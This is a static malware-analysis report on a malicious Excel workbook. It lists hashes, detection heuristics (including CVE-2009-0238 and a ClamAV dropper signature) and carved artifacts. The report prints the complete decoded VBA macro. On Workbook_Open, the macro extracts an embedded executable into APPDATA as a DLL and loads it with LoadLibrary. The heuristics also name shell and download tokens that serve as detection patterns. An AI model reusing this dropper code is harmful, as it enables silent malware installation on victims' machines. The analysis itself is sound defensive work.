Malicious Office (OLE) / .XLS — malware analysis report

Static analysis result for SHA-256 ad3a86a2a3f1aef1…

MALICIOUS

Office (OLE) / .XLS

269.5 KB Created: 2019-08-30 09:14:50 Authoring application: Microsoft Excel First seen: 2026-06-22
MD5: e3f4d8a6b490fd73ffab163ffadb8467 SHA-1: 4c223d9c339534187afa5d2c1939b5e773210bfe SHA-256: ad3a86a2a3f1aef1e2effb0b526db08f4821242ecb3cff6f40af27e62d320bb9
396 Risk Score

Heuristics 11

  • Excel invalid object access exploit — CVE-2009-0238 critical CVE likely CVE_2009_0238
    Excel workbook contains repeated malformed OBJ records whose ftMacro subrecord points to 0xFFFF, paired with shellcode-style payload context. This matches the invalid-object access exploit shape used by CVE-2009-0238 rather than a generic BIFF anomaly.
  • ClamAV: Xls.Dropper.Mrrk-7166990-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Dropper.Mrrk-7166990-0
  • Embedded PE executable critical OLE_EMBEDDED_EXE
    MZ/PE header found inside document — possible embedded executable
  • Reference to LoadLibrary API high SC_STR_LOADLIBRARY
    Reference to LoadLibrary API
  • Suspicious extracted artifact high EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
        Set oApp = CreateObject("Shell.Application")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Private Sub Workbook_Open()
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
    ChDir (Environ("TEMP"))
  • Reference to VirtualAlloc API medium SC_STR_VIRTUALALLOC
    Reference to VirtualAlloc API

Extracted artifacts 4

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 3684 bytes
SHA-256: 81e9d88bcd38657623e56d5e25b3a18e2fd69ca79f7b0b668147e61f8a82ee6d
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "l1"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Private Sub Workbook_Open()
ExecuteExcel4Macro "MESSAGE(False, ""Release"")"
ChDir (Environ("TEMP"))
CreateGifFile
ExecuteExcel4Macro "MESSAGE(False, ""Release"")"
End Sub



Private Sub CreateGifFile()
    TempName = Environ("TEMP") & "\13.xlsx"
    ZipName = TempName + ".zip"
    ZipFolder = Environ("TEMP") '& "\UnzTmp"
    Dim nm As String
    Dim size As Long
    Dim num As Integer
#If Win64 Then
    nm = Environ("APPDATA") + "\carpc2.dll"
    size = 64512
    num = 2
#Else
    
    nm = Environ("APPDATA") + "\carpc1.dll"
    size = 81920
    num = 1
#End If
        
    On Error Resume Next
    Kill ZipName
    Kill ZipFolder & "\oleObject*.bin"
  
    Kill nm
    On Error GoTo 0

    ThisWorkbook.Sheets.Copy
    Application.DisplayAlerts = False
    ActiveWorkbook.SaveAs TempName, FileFormat:=51
    ActiveWorkbook.Close

    

    FileCopy TempName, ZipName
    
    Set oApp = CreateObject("Shell.Application")
    oApp.Namespace(ZipFolder).CopyHere oApp.Namespace(ZipName).items.Item("xl\embeddings\oleObject1.bin")
    ReadAndWriteExtractedBinFile ZipFolder + "\oleObject1.bin", nm, size, num
    
    ChDir (Environ("APPDATA"))
    Hwnd = LoadLibrary(nm)
    Get2

End Sub
Sub ReadAndWriteExtractedBinFile(s As String, nm As String, fl As Long, num As Integer)
    Dim intFileNum As Long, bytTemp1 As Byte, bytTemp2 As Byte, bytTemp3 As Byte
    Dim NewAr() As Long

    ReDim NewAr(1 To fl)
    NewAr(1) = CByte(77)
    NewAr(2) = CByte(90)
    NewAr(3) = CByte(144)
    
    intFileNum = FreeFile
    Open s For Binary Access Read As intFileNum
    Dim cur As Integer
    cur = 1
    Do While Not EOF(intFileNum)
        Get intFileNum, , bytTemp1
        If bytTemp1 = NewAr(1) Then
           Get intFileNum, , bytTemp2
           If bytTemp2 = NewAr(2) Then
                Get intFileNum, , bytTemp3
                If bytTemp3 = NewAr(3) Then
                     If cur = num Then
                        For k = 4 To fl
                            Get intFileNum, , bytTemp1
                            NewAr(k) = bytTemp1
                            Next k
                         Exit Do
                     Else
                        cur = cur + 1
                     End If
                End If
           End If
        End If
    Loop
    Close intFileNum
    
    intFileNum = FreeFile
    Open nm For Binary Lock Read Write As #intFileNum
    For i = LBound(NewAr) To UBound(NewAr)
        Put #intFileNum, , CByte(NewAr(i))
    Next i

    Close #intFileNum
End Sub


Attribute VB_Name = "bb"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Module1"
#If Win64 Then
    Public Declare PtrSafe Function LoadLibrary Lib "kernel32" Alias "LoadLibraryA" (ByVal lpLibFileName As String) As Long
    Public Declare PtrSafe Function Get2 Lib _
        "carpc2.dll" () As Integer
#Else
    Public Declare Function LoadLibrary Lib "kernel32" Alias "LoadLibraryA" (ByVal lpLibFileName As String) As Long
    Public Declare Function Get2 Lib _
        "carpc1.dll" () As Integer
#End If
embedded_office_0000274e.exe embedded-pe Office MZ+PE at offset 0x274E 265906 bytes
SHA-256: f544a8e6a9374bf0e23ab8f5ac4fbe83b487090144ae14630cbd37dc6b2f14cb
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved macro source contains an auto-exec entry point and execution/download terms.
ole10native_00.bin ole-package OLE Ole10Native stream: MBD007E3669/Ole10Native 152568 bytes
SHA-256: df6bda9780f87ff1db7af58febaf2bb1353e064e81d91e84c54e5831bc3cae71
ole10native_00_get.png ole-package-payload OLE Ole10Native payload: MBD007E3669/Ole10Native; display_name=get.png; full_path=C:\Users\1\AppData\Local\Temp\get.png; temp_path=; def_file= 152298 bytes
SHA-256: bc42aa890edbbffba47fc292f9540f42549cb3f3775f611675dd4b994c3ee823

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